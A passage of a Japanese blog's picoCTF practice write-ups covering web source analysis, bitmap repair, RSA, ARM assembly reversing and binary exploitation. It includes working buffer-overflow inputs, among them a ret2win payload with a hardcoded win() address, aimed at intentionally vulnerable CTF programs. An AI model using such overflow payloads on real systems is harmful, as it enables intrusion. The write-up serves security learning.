picoCTF よりpicoGym Practice ChallengesのWriteUp その2。
前記事が一定のボリュームに達したので、新記事を設けることにした。
解けた問題から順次WriteUpを追加していく予定。
過去のWriteUp記事の一覧はこちら。
- login (100points)
- tunn3l v1s10n (40points)
- Dachshund Attacks (80points)
- ARMssembly 3 (130points)
- ARMssembly 4 (170points)
- Pixelated (100points)
- buffer overflow 0 (100points)
- CVE-XXXX-XXXX (100points)
- basic-file-exploit (100points)
- buffer overflow 1 (200points)
- RPS (200points)
- clutter-overflow (150points)
- buffer overflow 2 (300points)
- flag leak (300points)
- x-sixty-what (200points)
- file-run1 (100points)
- file-run2 (100points)
- GDB Test Drive (100points)
- patchme.py (100points)
- Safe Opener (100points)
- unpackme.py (100points)
- asm1 (200points)
- vault-door-3 (200points)
- bloat.py (200points)
- Fresh Java (200points)
- asm2 (250points)
- vault-door-4 (250points)
- asm3 (300points)
- vault-door-5 (300points)
- reverse_cipher (300points)
- Bbbbloat (300points)
- unpackme (300points)
- vault-door-6 (350points)
- vault-door-7 (400points)
- vault-door-8 (450points)
- B1ll_Gat35 (400points)
- not crypto (150points)
- Keygenme (400points)
- Need For Speed (400points)
login (100points)
Webサイト login.mars.picoctf.net
を解析してフラグを取得する問題。
ソースコードを表示してみたところ、index.js
というJavaScriptを読み込んでいることが分かった。
<!doctype html>
<html>
<head>
<link rel="stylesheet" href="styles.css">
<script src="index.js"></script>
</head>
<body>
<div>
<h1>Login</h1>
<form method="POST">
<label for="username">Username</label>
<input name="username" type="text"/>
<label for="username">Password</label>
<input name="password" type="password"/>
<input type="submit" value="Submit"/>
</form>
</div>
</body>
</html>
index.js
にフラグがBase64エンコードされた状態でハードコードされていた。
(async()=>{await new Promise((e=>window.addEventListener("load",e))),document.querySelector("form").addEventListener("submit",(e=>{e.preventDefault();const r={u:"input[name=username]",p:"input[name=password]"},t={};for(const e in r)t[e]=btoa(document.querySelector(r[e]).value).replace(/=/g,"");return"YWRtaW4"!==t.u?alert("Incorrect Username"):"cGljb0NURns1M3J2M3JfNTNydjNyXzUzcnYzcl81M3J2M3JfNTNydjNyfQ"!==t.p?alert("Incorrect Password"):void alert(`Correct Password! Your flag is ${atob(t.p)}.`)}))})();
echo "cGljb0NURns1M3J2M3JfNTNydjNyXzUzcnYzcl81M3J2M3JfNTNydjNyfQ" | base64 -D
tunn3l v1s10n (40points)
tunn3l_v1s10n
という謎のファイルを解析してフラグを取得する問題。
fileコマンドではファイルの種類を特定できなかった。
$ file tunn3l_v1s10n
tunn3l_v1s10n: data
バイナリ・エディタでファイルを開いてファイルのヘッダーを確認してみた。どうもビットマップ画像ファイルっぽい。

拡張子を.bmpにしてファイルを開こうとしたが、ファイルに不備があるため開けなかった。どうやらファイルのデータを修復する必要がありそう。
Wikiを片手にビットマップ・ファイルのヘッダーの値を色々いじってみた。
オフセット 0x0A
の値 (ビットマップ画像の開始位置を表している)を 36 00 00 00
に変更し、オフセット 0x0E
の値 (DIBヘッダーのバイト数を表している)を28 00 00 00
に変更したところ、画像ファイルが開けた。(36 00 00 00
と28 00 00 00
という値はWikiの例に倣って適当に入れてみたのだが、これが当たりだった。)


画像の中にnotaflag{sorry}
という文字が確認できたが、これはフラグではなかった。
画像ファイルをstegsolveで調べてみたが、特にこれといった発見はなかった。
どうやら、もう少しビットマップのファイル・ヘッダーをいじる必要がありそう。
オフセット 0x16
の値 (ビットマップの高さを表している)を32 03 00 00
に変更したところ、画像ファイルの全体が現れて画像上部にフラグを確認できた。


Dachshund Attacks (80points)
RSA暗号化されたフラグを復号する問題。
nc mercury.picoctf.net 30761
に接続する。
$ nc mercury.picoctf.net 30761
Welcome to my RSA challenge!
e: 48731112960560427178574734672448405619149587085608060835990380217040253197384060425604548182203504794894656029396346736184888851066199371333509579123511380972751268352289529039498285531655671564562131439599933547116979579632357103531753696352749115853423329008163529029668629665930734054440462409669556275495
n: 106626779459928447588076909182852178692629610866029168939770695793998439008380775450462249626016425574310113311335615291001519094553855235569583165916351741253054756042173857882441530321920217706934660695691420190813269735120130642503280884387740915504669032033690751470243457680944658947896652022002787565573
c: 85218665331040616613056409919741150042521111050721407413008053960447329973277885653456048175078050725745619515790583915618386976190794651360510452743645991075422384642624716457110948640163004675343289896868151967637096170297668048674920302266249439099098412045125487488532012578302866395418189894173408510853
以下のサイトにCとNとEの値を入力したところ、フラグを復号できた。
ARMssembly 3 (130points)
以下のARMアセンブリ命令を解読してフラグを取得する問題。
.arch armv8-a
.file "chall_3.c"
.text
.align 2
.global func1
.type func1, %function
func1:
stp x29, x30, [sp, -48]!
add x29, sp, 0
str w0, [x29, 28]
str wzr, [x29, 44]
b .L2
.L4:
ldr w0, [x29, 28]
and w0, w0, 1
cmp w0, 0
beq .L3
ldr w0, [x29, 44]
bl func2
str w0, [x29, 44]
.L3:
ldr w0, [x29, 28]
lsr w0, w0, 1
str w0, [x29, 28]
.L2:
ldr w0, [x29, 28]
cmp w0, 0
bne .L4
ldr w0, [x29, 44]
ldp x29, x30, [sp], 48
ret
.size func1, .-func1
.align 2
.global func2
.type func2, %function
func2:
sub sp, sp, #16
str w0, [sp, 12]
ldr w0, [sp, 12]
add w0, w0, 3
add sp, sp, 16
ret
.size func2, .-func2
.section .rodata
.align 3
.LC0:
.string "Result: %ld\n"
.text
.align 2
.global main
.type main, %function
main:
stp x29, x30, [sp, -48]!
add x29, sp, 0
str w0, [x29, 28]
str x1, [x29, 16]
ldr x0, [x29, 16]
add x0, x0, 8
ldr x0, [x0]
bl atoi
bl func1
str w0, [x29, 44]
adrp x0, .LC0
add x0, x0, :lo12:.LC0
ldr w1, [x29, 44]
bl printf
nop
ldp x29, x30, [sp], 48
ret
.size main, .-main
.ident "GCC: (Ubuntu/Linaro 7.5.0-3ubuntu1~18.04) 7.5.0"
.section .note.GNU-stack,"",@progbits
上記のプログラムに引数として1048110976
を渡した場合に出力される整数を答えよとのこと。
解読してコメントを入れてみた。
.arch armv8-a
.file "chall_3.c"
.text
.align 2
.global func1
.type func1, %function
func1:
stp x29, x30, [sp, -48]!
add x29, sp, 0
str w0, [x29, 28] // store the value of w0 to stack+28
str wzr, [x29, 44] // store the value of wzr (zero register) to stack+44
b .L2 // jump to L2
.L4:
ldr w0, [x29, 28] // loads the value of stack+28 to w0
and w0, w0, 1 // w0 AND 1
cmp w0, 0 // compare the value of w0 with 0
beq .L3 // if the value of w0 is equal to 0, jump to L3
ldr w0, [x29, 44] // loads the value of stack+44 to w0 (initial value is 0)
bl func2 // call func2
str w0, [x29, 44] // store the value of w0 (return value of func2) to stack+44
.L3:
ldr w0, [x29, 28] // loads the value of stack+28 to w0
lsr w0, w0, 1 // w0 >> 1
str w0, [x29, 28] // store the value of w0 to stack+28
.L2:
ldr w0, [x29, 28] // loads the value of stack+28 to w0
cmp w0, 0 // compare the value of w0 with 0
bne .L4 // if the value of w0 is not equal to 0, jump to L4
ldr w0, [x29, 44] // loads the value of stack+44 (return value of func2) to w0
ldp x29, x30, [sp], 48
ret
.size func1, .-func1
.align 2
.global func2
.type func2, %function
func2:
sub sp, sp, #16
str w0, [sp, 12] // store the value of w0 to stack+12
ldr w0, [sp, 12] // loads the value stack+12 to w0
add w0, w0, 3 // w0 + 3
add sp, sp, 16
ret
.size func2, .-func2
.section .rodata
.align 3
.LC0:
.string "Result: %ld\n"
.text
.align 2
.global main
.type main, %function
main:
stp x29, x30, [sp, -48]!
add x29, sp, 0
str w0, [x29, 28]
str x1, [x29, 16]
ldr x0, [x29, 16]
add x0, x0, 8
ldr x0, [x0]
bl atoi
bl func1 // calls func1
str w0, [x29, 44] // store the value of w0 to stack+44
adrp x0, .LC0
add x0, x0, :lo12:.LC0
ldr w1, [x29, 44] // loads the value of stack+44 (return value of func2) to w1
bl printf
nop
ldp x29, x30, [sp], 48
ret
.size main, .-main
.ident "GCC: (Ubuntu/Linaro 7.5.0-3ubuntu1~18.04) 7.5.0"
.section .note.GNU-stack,"",@progbits
プログラムの処理内容は以下の通り。(引数の値をn
とする。)
n
が0と等しいか確認する。等しい場合、処理を終了して戻り値を返す。戻り値の初期値は0。n
が0と等しくない場合、n
と1
のANDを取る。(n & 1
)- AND演算の結果が0と等しい場合、
n
を1
ビット右にシフトする。(n >> 1
) - AND演算の結果が0と等しくない場合、戻り値に
3
を加算し、n
を1
ビット右にシフトする。 - 1.から処理を繰り返す。
アセンブリをPythonコードに置き換えて実行した。
value = 1048110976
result = 0
while (value != 0):
and_value = value & 1
if (and_value == 0):
value = value >> 1
#print(value)
else:
result += 3
value = value >> 1
#print(str('value: ') + str(value))
#print(str('result: ') + str(result))
print(str('Result: ') + str(result))
$ python3 pseudo-code.py
Result: 48
フラグは48
。あとは問題文の指示通り48
を小文字の16進数 (0xは含めないかつ32ビット形式)に変換してpicoCTF{XXXXXXXX}に埋め込めば良い。32ビット (4バイト) 形式なので、先頭に00 00 00
を加える必要がある。
>>> hex(48)
ARMssembly 4 (170points)
以下のARMアセンブリ命令を解読してフラグを取得する問題。
.arch armv8-a
.file "chall_4.c"
.text
.align 2
.global func1
.type func1, %function
func1:
stp x29, x30, [sp, -32]!
add x29, sp, 0
str w0, [x29, 28]
ldr w0, [x29, 28]
cmp w0, 100
bls .L2
ldr w0, [x29, 28]
add w0, w0, 100
bl func2
b .L3
.L2:
ldr w0, [x29, 28]
bl func3
.L3:
ldp x29, x30, [sp], 32
ret
.size func1, .-func1
.align 2
.global func2
.type func2, %function
func2:
stp x29, x30, [sp, -32]!
add x29, sp, 0
str w0, [x29, 28]
ldr w0, [x29, 28]
cmp w0, 499
bhi .L5
ldr w0, [x29, 28]
sub w0, w0, #86
bl func4
b .L6
.L5:
ldr w0, [x29, 28]
add w0, w0, 13
bl func5
.L6:
ldp x29, x30, [sp], 32
ret
.size func2, .-func2
.align 2
.global func3
.type func3, %function
func3:
stp x29, x30, [sp, -32]!
add x29, sp, 0
str w0, [x29, 28]
ldr w0, [x29, 28]
bl func7
ldp x29, x30, [sp], 32
ret
.size func3, .-func3
.align 2
.global func4
.type func4, %function
func4:
stp x29, x30, [sp, -48]!
add x29, sp, 0
str w0, [x29, 28]
mov w0, 17
str w0, [x29, 44]
ldr w0, [x29, 44]
bl func1
str w0, [x29, 44]
ldr w0, [x29, 28]
ldp x29, x30, [sp], 48
ret
.size func4, .-func4
.align 2
.global func5
.type func5, %function
func5:
stp x29, x30, [sp, -32]!
add x29, sp, 0
str w0, [x29, 28]
ldr w0, [x29, 28]
bl func8
str w0, [x29, 28]
ldr w0, [x29, 28]
ldp x29, x30, [sp], 32
ret
.size func5, .-func5
.align 2
.global func6
.type func6, %function
func6:
sub sp, sp, #32
str w0, [sp, 12]
mov w0, 314
str w0, [sp, 24]
mov w0, 1932
str w0, [sp, 28]
str wzr, [sp, 20]
str wzr, [sp, 20]
b .L14
.L15:
ldr w1, [sp, 28]
mov w0, 800
mul w0, w1, w0
ldr w1, [sp, 24]
udiv w2, w0, w1
ldr w1, [sp, 24]
mul w1, w2, w1
sub w0, w0, w1
str w0, [sp, 12]
ldr w0, [sp, 20]
add w0, w0, 1
str w0, [sp, 20]
.L14:
ldr w0, [sp, 20]
cmp w0, 899
bls .L15
ldr w0, [sp, 12]
add sp, sp, 32
ret
.size func6, .-func6
.align 2
.global func7
.type func7, %function
func7:
sub sp, sp, #16
str w0, [sp, 12]
ldr w0, [sp, 12]
cmp w0, 100
bls .L18
ldr w0, [sp, 12]
b .L19
.L18:
mov w0, 7
.L19:
add sp, sp, 16
ret
.size func7, .-func7
.align 2
.global func8
.type func8, %function
func8:
sub sp, sp, #16
str w0, [sp, 12]
ldr w0, [sp, 12]
add w0, w0, 2
add sp, sp, 16
ret
.size func8, .-func8
.section .rodata
.align 3
.LC0:
.string "Result: %ld\n"
.text
.align 2
.global main
.type main, %function
main:
stp x29, x30, [sp, -48]!
add x29, sp, 0
str w0, [x29, 28]
str x1, [x29, 16]
ldr x0, [x29, 16]
add x0, x0, 8
ldr x0, [x0]
bl atoi
str w0, [x29, 44]
ldr w0, [x29, 44]
bl func1
mov w1, w0
adrp x0, .LC0
add x0, x0, :lo12:.LC0
bl printf
nop
ldp x29, x30, [sp], 48
ret
.size main, .-main
.ident "GCC: (Ubuntu/Linaro 7.5.0-3ubuntu1~18.04) 7.5.0"
.section .note.GNU-stack,"",@progbits
上記のプログラムに引数として3251372985
を渡した場合に出力される整数を答えよとのこと。
解読してコメントを入れてみた。
.arch armv8-a
.file "chall_4.c"
.text
.align 2
.global func1
.type func1, %function
func1:
stp x29, x30, [sp, -32]!
add x29, sp, 0
str w0, [x29, 28] // stores the value of w0 to stack+28
ldr w0, [x29, 28] // loads the value stack+28 to w0
cmp w0, 100 // compare the value of w0 with 100
bls .L2 // if w0 <= 100, jump to L2
ldr w0, [x29, 28] // loads the value of stack+28 to w0
add w0, w0, 100 // w0 = w0 + 100
bl func2 // calls func2
b .L3 // jump to L2
.L2:
ldr w0, [x29, 28] // loads the value of stack+28 to w0
bl func3 // calls func3
.L3:
ldp x29, x30, [sp], 32
ret
.size func1, .-func1
.align 2
.global func2
.type func2, %function
func2:
stp x29, x30, [sp, -32]!
add x29, sp, 0
str w0, [x29, 28] // stores the value of w0 to stack+28
ldr w0, [x29, 28] // loads the value of stack+28 to w0
cmp w0, 499 // compare the value of w0 with 499
bhi .L5 // if w0 > 499, jump to L5
ldr w0, [x29, 28] // loads the value of stack+28 to w0
sub w0, w0, #86 // w0 = w0 - 86
bl func4 // calls func4
b .L6 // jump to L6
.L5:
ldr w0, [x29, 28] // loads the value of stack+28 to w0
add w0, w0, 13 // w0 = w0 + 13
bl func5 // calls func5
.L6:
ldp x29, x30, [sp], 32
ret
.size func2, .-func2
.align 2
.global func3
.type func3, %function
func3:
stp x29, x30, [sp, -32]!
add x29, sp, 0
str w0, [x29, 28] // stores the value of w0 to stack+28
ldr w0, [x29, 28] // loads the value of stack+28 to w0
bl func7 // calls func7
ldp x29, x30, [sp], 32
ret
.size func3, .-func3
.align 2
.global func4
.type func4, %function
func4:
stp x29, x30, [sp, -48]!
add x29, sp, 0
str w0, [x29, 28] // stores the value of w0 to stack+28
mov w0, 17 // w0 = 17
str w0, [x29, 44] // stores the value of w0 (17) to stack+44
ldr w0, [x29, 44] // loads the value of stack+44 (17) to w0
bl func1 // calls func1
str w0, [x29, 44] // stores the value w0 to stack+44
ldr w0, [x29, 28] // loads the value of stack+28 to w0
ldp x29, x30, [sp], 48
ret
.size func4, .-func4
.align 2
.global func5
.type func5, %function
func5:
stp x29, x30, [sp, -32]!
add x29, sp, 0
str w0, [x29, 28] // stores the value of w0 to stack+28
ldr w0, [x29, 28] // loads the value of stack+28 to w0
bl func8 // calls func8
str w0, [x29, 28] // stores the value of w0 to stack+28 (stores the return value of func8 to stack+28)
ldr w0, [x29, 28] // loads the value of stack+28 to w0
ldp x29, x30, [sp], 32
ret
.size func5, .-func5
.align 2
.global func6
.type func6, %function
func6:
sub sp, sp, #32
str w0, [sp, 12] // stores the value of w0 to stack+12
mov w0, 314 // w0 = 314
str w0, [sp, 24] // stores the value of w0 (314) to stack+24
mov w0, 1932 // w0 = 1932
str w0, [sp, 28] // stores the value of w0 (1932) to stack+28
str wzr, [sp, 20] // stores the value of wzr (zero register) to stack+20
str wzr, [sp, 20] // stores the value of wzr (zero register) to stack+20
b .L14 // jump to L14
.L15:
ldr w1, [sp, 28] // loads the value of stack+28 (initial value 1932) to w1
mov w0, 800 // w0 = 800
mul w0, w1, w0 // w0 = w1 * w0 (800)
ldr w1, [sp, 24] // loads the value of stack+24 (initial value 314) to w1
udiv w2, w0, w1 // w2 = w0 / w1
ldr w1, [sp, 24] // loads the value of stack+24 (initial value 314) to w1
mul w1, w2, w1 // w1 = w2 * w1
sub w0, w0, w1 // w0 = w0 - w1
str w0, [sp, 12] // stores the value of w0 to stack+12
ldr w0, [sp, 20] // loads the value of stack+20 to w0
add w0, w0, 1 // w0 = w0 + 1 (loop counter)
str w0, [sp, 20] // stores the value of w0 to stack+20
.L14:
ldr w0, [sp, 20] // loads the value of stack+20 to w0
cmp w0, 899 // compare the value of w0 with 899
bls .L15 // if w0 <= 899, jump to L15
ldr w0, [sp, 12] // loads the value of stack+12 to w0
add sp, sp, 32
ret
.size func6, .-func6
.align 2
.global func7
.type func7, %function
func7:
sub sp, sp, #16
str w0, [sp, 12] // stores the value of w0 to stack+12
ldr w0, [sp, 12] // loads the value of stack+12 to w0
cmp w0, 100 // compare the value of w0 with 100
bls .L18 // if w <= 100 jump to L18
ldr w0, [sp, 12] // loads the value of w0 to stack+12
b .L19 // jump to L19
.L18:
mov w0, 7 // w0 = 7
.L19:
add sp, sp, 16
ret
.size func7, .-func7
.align 2
.global func8
.type func8, %function
func8:
sub sp, sp, #16
str w0, [sp, 12] // stores the value of w0 to stack+12
ldr w0, [sp, 12] // loads the value of stack+12 to w0
add w0, w0, 2 // w0 = w0 + 2
add sp, sp, 16
ret
.size func8, .-func8
.section .rodata
.align 3
.LC0:
.string "Result: %ld\n"
.text
.align 2
.global main
.type main, %function
main:
stp x29, x30, [sp, -48]!
add x29, sp, 0
str w0, [x29, 28]
str x1, [x29, 16]
ldr x0, [x29, 16]
add x0, x0, 8
ldr x0, [x0]
bl atoi
str w0, [x29, 44]
ldr w0, [x29, 44]
bl func1 // calls func1
mov w1, w0
adrp x0, .LC0
add x0, x0, :lo12:.LC0
bl printf
nop
ldp x29, x30, [sp], 48
ret
.size main, .-main
.ident "GCC: (Ubuntu/Linaro 7.5.0-3ubuntu1~18.04) 7.5.0"
.section .note.GNU-stack,"",@progbits
アセンブリをPythonコードに置き換えて実行した。
import sys
def main():
value = int(sys.argv[1])
print(func1(value))
def func1(value):
if (value <= 100):
value = func3(value)
else:
value = value + 100
value = func2(value)
value = func3(value)
return value
def func2(value):
if (value > 499):
value = value + 13
value = func5(value)
else:
value = value - 86
value = func4(value)
return value
def func3(value):
value = func7(value)
return value
def func4(value):
value_org = value
value2 = 17
value2 = func1(value2)
value = value_org
return value
def func5(value):
value = func8(value)
return value
def func6(value):
i = 0
value2 = 314
value3 = 1932
while (i <= 899):
value3 = value3 * 800
value4 = value3 / value2
value2 = value4 * value2
value3 = value3 - value2
value = value3
i += 1
return value
def func7(value):
if (value <= 100):
value = 7
return value
def func8(value):
value = value + 2
return value
if __name__ == '__main__':
main()
$ python3 pseudo-code.py 3251372985
3251373100
フラグは3251373100
。あとは問題文の指示通り3251373100
を小文字の16進数 (0xは含めないかつ32ビット形式)に変換してpicoCTF{XXXXXXXX}に埋め込めば良い。
>>> hex(3251373100)
Pixelated (100points)
画像ファイルを解析してフラグを取得する問題。
scrambled1.png
とscrambled2.png
という2つのPNG画像ファイルを渡される。2枚とも砂嵐の画像で、フラグや手がかりになりそうな情報は載っていない。stringsやexiftoolやstegsolveで調べてみたが、特にこれといった発見はなかった。
"pixelated cryptography"でググってみたところ、Visual cryptographyに関するページがヒットした。
2つの画像ファイルを重ねると、別の新しい画像が現れるらしい。
こちらのサイトで2つのファイルを合体させてみた。
以下はscrambled1.png
とscrambled2.png
を重ねて1つの画像ファイルにしたもの。

灰色1色で最初失敗したかと思ったが、上記の画像ファイルをstegsolveで解析したところフラグを取得できた。("Random colour map 1"でフラグが現れた。)
buffer overflow 0 (100points)
遠隔のサーバー上で実行されているプログラムの脆弱性を突いてフラグを取得する問題。
プログラムの実行ファイルvuln
とソースコードvuln.c
を渡される。
vuln
は32ビットのELFファイルだった。checksecで確認したところNXやPIEが有効化されていたので、少し時間がかかるかなと身構えた。
$ sudo ./checksec.sh --file=vuln
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Full RELRO No canary found NX enabled PIE enabled No RPATH No RUNPATH 84 Symbols No 0 4 vuln
続いてソースコードvuln.c
を確認してみた。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#define FLAGSIZE_MAX 64
char flag[FLAGSIZE_MAX];
void sigsegv_handler(int sig) {
printf("%s\n", flag);
fflush(stdout);
exit(1);
}
void vuln(char *input){
char buf2[16];
strcpy(buf2, input);
}
int main(int argc, char **argv){
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("%s %s", "Please create 'flag.txt' in this directory with your",
"own debugging flag.\n");
exit(0);
}
fgets(flag,FLAGSIZE_MAX,f);
signal(SIGSEGV, sigsegv_handler); // Set up signal handler
gid_t gid = getegid();
setresgid(gid, gid, gid);
printf("Input: ");
fflush(stdout);
char buf1[100];
gets(buf1);
vuln(buf1);
printf("The program will exit now\n");
return 0;
}
どうやらプログラムにエラーを起こさせると、カスタムのエラー・ハンドリング処理のsigsegv_handler()
が呼び出されてフラグを取れる模様。
プログラムの中ではgets()
とstrcpy()
というバッファオーバーフローに対して脆弱な関数が呼び出されていた。
char buf1[100];
gets(buf1);
vuln(buf1);
void vuln(char *input){
char buf2[16];
strcpy(buf2, input);
}
このプログラムはユーザーの入力した値をgets()
で受け取り、vuln()
という関数に引数として渡す。vuln()
はユーザーの入力した値をstrcpy()
を用いてbuf2
という別のバッファにコピーする。
ここで注目すべきは、それぞれのバッファのサイズである。ユーザーの入力値は最大で100バイト指定できる。(char buf1[100];
)
対してコピー先のバッファのbuf2
は最大で16バイトのデータしか受け取れない。(char buf2[16];
)
つまり、入力値として16バイトを越えるデータを入力すれば、strcpy()
がエラーを起こし、sigsegv_handler()
が呼び出され、フラグを取ることができる。
以下のコマンドでフラグを取得できた。
python3 -c 'print("a" * 20)' | nc saturn.picoctf.net 65355
CVE-XXXX-XXXX (100points)
以下の脆弱性のCVE番号を突き止める問題。
Enter the CVE of the vulnerability as the flag with the correct flag format:
picoCTF{CVE-XXXX-XXXXX}
replacing XXXX-XXXXX with the numbers for the matching vulnerability.The CVE we're looking for is the first recorded remote code execution (RCE) vulnerability in 2021 in the Windows Print Spooler Service, which is available across desktop and server versions of Windows operating systems. The service is used to manage printers and print servers.
PrintNightmare (CVE-2021-34527)
basic-file-exploit (100points)
遠隔のサーバー上で実行されているプログラムの不備を突いてフラグを取得する問題。
プログラムのソースコードprogram-redacted.c
を渡される。
以下、ソースコード。
#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include <string.h>
#include <stdint.h>
#include <ctype.h>
#include <unistd.h>
#include <sys/time.h>
#include <sys/types.h>
#define WAIT 60
static const char* flag = "[REDACTED]";
static char data[10][100];
static int input_lengths[10];
static int inputs = 0;
int tgetinput(char *input, unsigned int l)
{
fd_set input_set;
struct timeval timeout;
int ready_for_reading = 0;
int read_bytes = 0;
if( l <= 0 )
{
printf("'l' for tgetinput must be greater than 0\n");
return -2;
}
/* Empty the FD Set */
FD_ZERO(&input_set );
/* Listen to the input descriptor */
FD_SET(STDIN_FILENO, &input_set);
/* Waiting for some seconds */
timeout.tv_sec = WAIT; // WAIT seconds
timeout.tv_usec = 0; // 0 milliseconds
/* Listening for input stream for any activity */
ready_for_reading = select(1, &input_set, NULL, NULL, &timeout);
/* Here, first parameter is number of FDs in the set,
* second is our FD set for reading,
* third is the FD set in which any write activity needs to updated,
* which is not required in this case.
* Fourth is timeout
*/
if (ready_for_reading == -1) {
/* Some error has occured in input */
printf("Unable to read your input\n");
return -1;
}
if (ready_for_reading) {
read_bytes = read(0, input, l-1);
if(input[read_bytes-1]=='\n'){
--read_bytes;
input[read_bytes]='\0';
}
if(read_bytes==0){
printf("No data given.\n");
return -4;
} else {
return 0;
}
} else {
printf("Timed out waiting for user input. Press Ctrl-C to disconnect\n");
return -3;
}
return 0;
}
static void data_write() {
char input[100];
char len[4];
long length;
int r;
printf("Please enter your data:\n");
r = tgetinput(input, 100);
// Timeout on user input
if(r == -3)
{
printf("Goodbye!\n");
exit(0);
}
while (true) {
printf("Please enter the length of your data:\n");
r = tgetinput(len, 4);
// Timeout on user input
if(r == -3)
{
printf("Goodbye!\n");
exit(0);
}
if ((length = strtol(len, NULL, 10)) == 0) {
puts("Please put in a valid length");
} else {
break;
}
}
if (inputs > 10) {
inputs = 0;
}
strcpy(data[inputs], input);
input_lengths[inputs] = length;
printf("Your entry number is: %d\n", inputs + 1);
inputs++;
}
static void data_read() {
char entry[4];
long entry_number;
char output[100];
int r;
memset(output, '\0', 100);
printf("Please enter the entry number of your data:\n");
r = tgetinput(entry, 4);
// Timeout on user input
if(r == -3)
{
printf("Goodbye!\n");
exit(0);
}
if ((entry_number = strtol(entry, NULL, 10)) == 0) {
puts(flag);
fseek(stdin, 0, SEEK_END);
exit(0);
}
entry_number--;
strncpy(output, data[entry_number], input_lengths[entry_number]);
puts(output);
}
int main(int argc, char** argv) {
char input[3] = {'\0'};
long command;
int r;
puts("Hi, welcome to my echo chamber!");
puts("Type '1' to enter a phrase into our database");
puts("Type '2' to echo a phrase in our database");
puts("Type '3' to exit the program");
while (true) {
r = tgetinput(input, 3);
// Timeout on user input
if(r == -3)
{
printf("Goodbye!\n");
exit(0);
}
if ((command = strtol(input, NULL, 10)) == 0) {
puts("Please put in a valid number");
} else if (command == 1) {
data_write();
puts("Write successful, would you like to do anything else?");
} else if (command == 2) {
if (inputs == 0) {
puts("No data yet");
continue;
}
data_read();
puts("Read successful, would you like to do anything else?");
} else if (command == 3) {
return 0;
} else {
puts("Please type either 1, 2 or 3");
puts("Maybe breaking boundaries elsewhere will be helpful");
}
}
return 0;
}
以下、実行結果。
$ nc saturn.picoctf.net 52681
Hi, welcome to my echo chamber!
Type '1' to enter a phrase into our database
Type '2' to echo a phrase in our database
Type '3' to exit the program
- 1を選択すると任意のデータを書き込める。データを書き込むとentry numberが付与される。(1回目の書き込みのentry numberは1、2回目の書き込みのentry numberは2、という具合。)
- 2を選択すると1で書き込んだデータを読み出すことが出来る。entry numberを指定することで読み出すデータを選択できる。
- 3を選択するとプログラムが終了する。
カギとなるのは2を選択した際に呼び出されるdata_read()
関数である。
static void data_read() {
char entry[4];
long entry_number;
char output[100];
int r;
memset(output, '\0', 100);
printf("Please enter the entry number of your data:\n");
r = tgetinput(entry, 4);
// Timeout on user input
if(r == -3)
{
printf("Goodbye!\n");
exit(0);
}
if ((entry_number = strtol(entry, NULL, 10)) == 0) {
puts(flag);
fseek(stdin, 0, SEEK_END);
exit(0);
}
entry_number--;
strncpy(output, data[entry_number], input_lengths[entry_number]);
puts(output);
}
entry numberに0を指定するとフラグを読み出せる模様。
以下の手順でフラグを取得できた。
- プログラムを実行して、最初に1を選択して適当なデータを書き込む。(何もデータを書き込んでいない状態だと
data_read()
が呼び出されないため) - 続けて2を選択してentry numberに0を指定する。
$ nc saturn.picoctf.net 52681
Hi, welcome to my echo chamber!
Type '1' to enter a phrase into our database
Type '2' to echo a phrase in our database
Type '3' to exit the program
1
1
Please enter your data:
hoge
hoge
Please enter the length of your data:
10
10
Your entry number is: 1
Write successful, would you like to do anything else?
2
2
Please enter the entry number of your data:
0
0
picoCTF{<REDACTED>}
buffer overflow 1 (200points)
遠隔のサーバー上で実行されているプログラムの脆弱性を突いてフラグを取得する問題。
プログラムの実行ファイルvuln
とソースコードvuln.c
を渡される。
vuln
は32ビットのELFファイルだった。checksecで確認したところPIEとstack canaryが無効化されていた。
$ sudo ./checksec.sh --file=vuln
[sudo] password for sansforensics:
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 76 Symbols No 0 3 vuln
続いてソースコードvuln.c
を確認してみた。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include "asm.h"
#define BUFSIZE 32
#define FLAGSIZE 64
void win() {
char buf[FLAGSIZE];
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("%s %s", "Please create 'flag.txt' in this directory with your",
"own debugging flag.\n");
exit(0);
}
fgets(buf,FLAGSIZE,f);
printf(buf);
}
void vuln(){
char buf[BUFSIZE];
gets(buf);
printf("Okay, time to return... Fingers Crossed... Jumping to 0x%x\n", get_return_address());
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
gid_t gid = getegid();
setresgid(gid, gid, gid);
puts("Please enter your string: ");
vuln();
return 0;
}
vuln()
関数は gets()
でユーザーの入力を受け取る。ユーザーがデータを入力するとget_return_address()
によって戻りアドレスが出力される。
ソースコードの冒頭にはwin()
という関数が定義されている。win()
はflag.txt
からフラグを読み出して出力する。しかし、win()
はプログラム中では呼び出されていないので、普通にプログラムを実行しただけではフラグを取ることはできない。
ここで、もう一度vuln()
に注目する。vuln()
はgets()
でユーザーの入力を受け取るのだが、gets()
はバッファオーバーフローに対して脆弱である。
よって、gets()
をオーバーフローさせてwin()
へ処理を飛ばすことが出来ればフラグを取れる。
gets()
をオーバーフローさせてwin()
を呼び出すためのエクスプロイト・コードの構成は以下のようになる。
[bufのバッファサイズ 32バイト (define BUFSIZE 32)] + [EBPポインタのサイズ 4バイト] + [win()のアドレス 4バイト]
gets()
の受け取るバッファbuf
の先頭36バイトをゴミ・データで埋め尽くして、win()
のアドレスを渡してやればwin()
へ処理を飛ばすことができる。
アセンブリを確認したところ、win()
のアドレスは0x080491f6
であることが分かった。(冒頭で述べたように今回のバイナリはPIEが無効化されているので、アドレスは固定である。)
$ objdump -d -M intel vuln | grep win
080491f6 <win>:
804922c: 75 2a jne 8049258 <win+0x62>
ローカルマシンにダミーのflag.txt
を用意して検証してみた。
以下のエクスプロイト・コードでフラグを読み取ることができた。
echo -e 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xf6\x91\x04\x08' | ./vuln
$ echo -e 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xf6\x91\x04\x08' | ./vuln
Please enter your string:
Okay, time to return... Fingers Crossed... Jumping to 0x804932f
